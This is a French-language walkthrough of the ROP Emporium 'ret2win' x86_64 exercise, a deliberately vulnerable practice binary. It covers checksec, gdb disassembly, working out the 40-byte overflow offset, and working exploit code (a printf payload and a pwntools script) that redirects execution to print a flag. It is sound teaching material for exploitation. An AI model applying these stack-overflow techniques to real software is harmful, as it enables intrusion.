Ropemporium x86_64 ret2win
ret2win
Introduction
Ce premier exercice jette les bases de l’exploitation d’un débordement de pile avec une pile non exécutable. L’exploitation la plus simple consiste à appeler une fonction existante.
Dans ce premier exercice la fonction présente dans le code et ne demande pas de paramètre.
On va décrire la démarche d’évaluation de la taille du débordement qui sera considérée comme acquise dans les autres exercices.
Découverte
Lancement du programme :
01_ret2win$ ./ret2win
ret2win by ROP Emporium
x86_64
For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!
What could possibly go wrong?
You there, may I have your input please? And don't worry about null bytes, we're using read()!
> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Thank you!
Erreur de segmentation
Le programme nous indique gentiment qu’on a un débordement de pile après 32 caractères.
Protections
On peut observer les protections posées sur l’exécutable avec la commande checksec de pwntools.
01_ret2win# checksec ret2win
[*] '/w/ropemporium/x64/01_ret2win/ret2win'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
- NX : La pile n’est pas exécutable. C’est ce qui rend la démarche de ROP nécessaire sinon on poserait un shellcode
- Stack : Pas de canary pour protéger le débordement. Permet de simplifier les exercices.
- PIE : Position Independent Executable invalidé. Le code est chargé à adresse fixe. Permet de simplifier les exercices.
- RELRO : La table GOT de résolution des adresses de fonctions importées est inscriptible. La résolution des adresses est différée au premier usage de la fonction.
Observation du programme avec gdb
List the avalables functions:
info fun
0x0000000000400528 _init
0x0000000000400550 puts@plt
0x0000000000400560 system@plt
0x0000000000400570 printf@plt
0x0000000000400580 memset@plt
0x0000000000400590 read@plt
0x00000000004005a0 setvbuf@plt
0x00000000004005b0 _start
0x00000000004005e0 _dl_relocate_static_pie
0x00000000004005f0 deregister_tm_clones
0x0000000000400620 register_tm_clones
0x0000000000400660 __do_global_dtors_aux
0x0000000000400690 frame_dummy
0x0000000000400697 main
0x00000000004006e8 pwnme
0x0000000000400756 ret2win
0x0000000000400780 __libc_csu_init
0x00000000004007f0 __libc_csu_fini
0x00000000004007f4 _fini
La fonction principale :
gef➤ disas main
Dump of assembler code for function main:
0x0000000000400697 <+0>: push rbp
0x0000000000400698 <+1>: mov rbp,rsp
0x000000000040069b <+4>: mov rax,QWORD PTR [rip+0x2009b6] # 0x601058 <stdout@@GLIBC_2.2.5>
0x00000000004006a2 <+11>: mov ecx,0x0
0x00000000004006a7 <+16>: mov edx,0x2
0x00000000004006ac <+21>: mov esi,0x0
0x00000000004006b1 <+26>: mov rdi,rax
0x00000000004006b4 <+29>: call 0x4005a0 <setvbuf@plt>
0x00000000004006b9 <+34>: mov edi,0x400808
0x00000000004006be <+39>: call 0x400550 <puts@plt>
0x00000000004006c3 <+44>: mov edi,0x400820
0x00000000004006c8 <+49>: call 0x400550 <puts@plt>
0x00000000004006cd <+54>: mov eax,0x0
0x00000000004006d2 <+59>: call 0x4006e8 <pwnme>
0x00000000004006d7 <+64>: mov edi,0x400828
0x00000000004006dc <+69>: call 0x400550 <puts@plt>
0x00000000004006e1 <+74>: mov eax,0x0
0x00000000004006e6 <+79>: pop rbp
0x00000000004006e7 <+80>: ret
End of assembler dump.
La fonction pwnme :
gef➤ disas pwnme
Dump of assembler code for function pwnme:
0x00000000004006e8 <+0>: push rbp
0x00000000004006e9 <+1>: mov rbp,rsp
0x00000000004006ec <+4>: sub rsp,0x20
0x00000000004006f0 <+8>: lea rax,[rbp-0x20]
0x00000000004006f4 <+12>: mov edx,0x20
0x00000000004006f9 <+17>: mov esi,0x0
0x00000000004006fe <+22>: mov rdi,rax
0x0000000000400701 <+25>: call 0x400580 <memset@plt>
0x0000000000400706 <+30>: mov edi,0x400838
0x000000000040070b <+35>: call 0x400550 <puts@plt>
0x0000000000400710 <+40>: mov edi,0x400898
0x0000000000400715 <+45>: call 0x400550 <puts@plt>
0x000000000040071a <+50>: mov edi,0x4008b8
0x000000000040071f <+55>: call 0x400550 <puts@plt>
0x0000000000400724 <+60>: mov edi,0x400918
0x0000000000400729 <+65>: mov eax,0x0
0x000000000040072e <+70>: call 0x400570 <printf@plt>
0x0000000000400733 <+75>: lea rax,[rbp-0x20]
0x0000000000400737 <+79>: mov edx,0x38
0x000000000040073c <+84>: mov rsi,rax
0x000000000040073f <+87>: mov edi,0x0
0x0000000000400744 <+92>: call 0x400590 <read@plt>
0x0000000000400749 <+97>: mov edi,0x40091b
0x000000000040074e <+102>: call 0x400550 <puts@plt>
0x0000000000400753 <+107>: nop
0x0000000000400754 <+108>: leave
0x0000000000400755 <+109>: ret
End of assembler dump.
C’est la fonction qui lit le message et est vulnérable à un débordement?
Enfin on a une fonction ret2win qui n’est pas appelée mais permet d’afficher le flag.
gef➤ disas ret2win
Dump of assembler code for function ret2win:
0x0000000000400756 <+0>: push rbp
0x0000000000400757 <+1>: mov rbp,rsp
0x000000000040075a <+4>: mov edi,0x400926
0x000000000040075f <+9>: call 0x400550 <puts@plt>
0x0000000000400764 <+14>: mov edi,0x400943 ; "cat flag.txt"
0x0000000000400769 <+19>: call 0x400560 <system@plt>
0x000000000040076e <+24>: nop
0x000000000040076f <+25>: pop rbp
0x0000000000400770 <+26>: ret
End of assembler dump.
Evaluation de l’offset de débordement
Méthode statique
La séquence de lecture du message read(0, bufferr, taille)
0x0000000000400733 <+75>: lea rax,[rbp-0x20]
0x0000000000400737 <+79>: mov edx,0x38
0x000000000040073c <+84>: mov rsi,rax
0x000000000040073f <+87>: mov edi,0x0
0x0000000000400744 <+92>: call 0x400590 <read@plt>
Lit un message de 0x38 (56) caractères a destination de l’adresse rbp-0x20. On a donc 0x20 (32) octets avant d’atteindre la fin de la pile et la sauvegarde de RBP effecuée dans le prélude :
0x00000000004006e8 <+0>: push rbp
0x00000000004006e9 <+1>: mov rbp,rsp
0x00000000004006ec <+4>: sub rsp,0x20
Et donc après 0x28 (40) octes on récrase l’adresse de retour.
On peut l’observer en positionnant un point d’arrêt dans gdb sur le read :
gef➤ b *pwnme+92
On peut observer la pile juste avant le read :
read@plt (
$rdi = 0x00000000000000,
$rsi = 0x007ffc6bebe550 → 0x0000000000000000,
$rdx = 0x00000000000038
)
La pile avant le read :
0x007ffcba437b30│+0x0000: 0x0000000000000000 ← $rax, $rsp, $rsi
0x007ffcba437b38│+0x0008: 0x0000000000000000
0x007ffcba437b40│+0x0010: 0x0000000000000000
0x007ffcba437b48│+0x0018: 0x0000000000000000
0x007ffcba437b50│+0x0020: 0x007ffcba437b60 → 0x0000000000000001 ← $rbp
0x007ffcba437b58│+0x0028: 0x000000004006d7 → <main+64> mov edi, 0x400828
0x007ffcba437b60│+0x0030: 0x0000000000000001
0x007ffcba437b68│+0x0038: 0x007fd46b63a18a → <__libc_start_call_main+122>
La pile apres le read d’un massage de 48 caractères : AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDDEEEEEEEEFFFFFFF
0x007ffcba437b30│+0x0000: 0x4141414141414141 ← $rsp, $rsi
0x007ffcba437b38│+0x0008: 0x4242424242424242
0x007ffcba437b40│+0x0010: 0x4343434343434343
0x007ffcba437b48│+0x0018: 0x4444444444444444
0x007ffcba437b50│+0x0020: 0x4545454545454545 ← $rbp
0x007ffcba437b58│+0x0028: 0x0a46464646464646 ← adresse de retour
0x007ffcba437b60│+0x0030: 0x0000000000000001
0x007ffcba437b68│+0x0038: 0x007fd46b63a18a → <__libc_start_call_main+122>
cyclic codes usage
Traditionnelement, l’offet d’un débordement peut être évalué avec un message cyclique.
Sous gdb avec GEF :
gef➤ r
Starting program: /home/jce/w/ropemporium/x64/01_ret2win/ret2win
[*] Failed to find objfile or not a valid file format: [Errno 2] Aucun fichier ou dossier de ce type: 'system-supplied DSO at 0x7ffff7fd0000'
ret2win by ROP Emporium
x86_64
For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!
What could possibly go wrong?
You there, may I have your input please? And don't worry about null bytes, we're using read()!
> aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaa
Thank you!
Program received signal SIGSEGV, Segmentation fault.
Au plantage les registes contiennent :
$rax : 0xb
$rbx : 0x0
$rcx : 0x007ffff7eca473 → 0x5577fffff0003d48 ("H="?)
$rdx : 0x0
$rsp : 0x007fffffffe158 → 0x6161616161616166 ("faaaaaaa"?)
$rbp : 0x6161616161616165 ("eaaaaaaa"?)
En pariculier RSP contient 0x6161616161616166
gef➤ pattern search $rsp
[+] Searching for '$rsp'
[+] Found at offset 40 (little-endian search) likely
[+] Found at offset 33 (big-endian search)
Automatisation python
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This exploit template was generated via:
from pwn import *
import os
# Set up pwntools for the correct architecture
elf = context.binary = ELF('ret2win')
io = process([elf.path])
# Envoi d'un code cyclique de taille 80
io.sendline(cyclic(0x50))
io.wait()
# identification d'un fichier core
core = io.corefile
# Recuperation de la valeur contenue dans RSP au moment du plantage
rsp = core.rsp
pattern = core.read(rsp, 4)
# Identification de l'offsec correspondant dans le code
offset = cyclic_find(pattern)
info(f"pattern = {pattern.decode()}")
info(f"offset srip = 0x{offset:x}")
os.remove(core.path)
Exploitation
Si on envoie un message constitué de 40 caractère de débordement puis l’adresse de ret2win :
On peut realiser cela ainsi sous gdb, en affichant le payload avec printf dans ce cas simple.
On va envoyer :
- 40 caractères pour le débordement ( printf “%40s” A)
- L’adresse de la cible avec les valeurs dans l’ordre de convention intel : octets de poind faible en premier (little endian) \x56\x07\x40\x00\x00\x00\x00\x00
Ne pas mettre les zéros à la fin fonctionne parce qu’il y en a déjà du fait qu’on écrase une adresse de même forme. En revanche si, comme ce sera le cas dans les exercices suivant on doit ajouter des éléments dans la chaîne, les zéros devont être explicites.
gef➤ r < <(printf "%40s\x56\x07\x40\x00\x00\x00\x00\x00" A)
Starting program: /home/jce/w/ropemporium/x64/01_ret2win/ret2win < <(printf "%40s\x56\x07\x40" A)
[*] Failed to find objfile or not a valid file format: [Errno 2] Aucun fichier ou dossier de ce type: 'system-supplied DSO at 0x7ffff7fd0000'
ret2win by ROP Emporium
x86_64
For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!
What could possibly go wrong?
You there, may I have your input please? And don't worry about null bytes, we're using read()!
> Thank you!
Well done! Here's your flag:
[Detaching after vfork from child process 18695]
ROPE{a_placeholder_32byte_flag!}
En python
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
import time
# Set up pwntools for the correct architecture
elf = context.binary = ELF('ret2win')
target = elf.symbols["ret2win"]
gs='''
b *pwnme+107
c
'''
io = process([elf.path])
if len(sys.argv)>1 and sys.argv[1] == "-d":
gdb.attach(io,gs)
time.sleep(1)
time.sleep(.5)
io.recvuntil(b"> ")
# for stack alignement in case of movabs usage
ropnop=0x400770
PL=0x28*b"A"+p64(ropnop)+p64(target)
io.sendline(PL)
io.interactive()
Exécution
jce@zbook310152:~/w/ropemporium/x64/01_ret2win$ python3 solve.py
[*] '/home/jce/w/ropemporium/x64/01_ret2win/ret2win'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Starting local process '/home/jce/w/ropemporium/x64/01_ret2win/ret2win': pid 6953
[*] Switching to interactive mode
Thank you!
Well done! Here's your flag:
ROPE{a_placeholder_32byte_flag!}
[*] Process '/home/jce/w/ropemporium/x64/01_ret2win/ret2win' stopped with exit code 0 (pid 6953)
[*] Got EOF while reading in interactive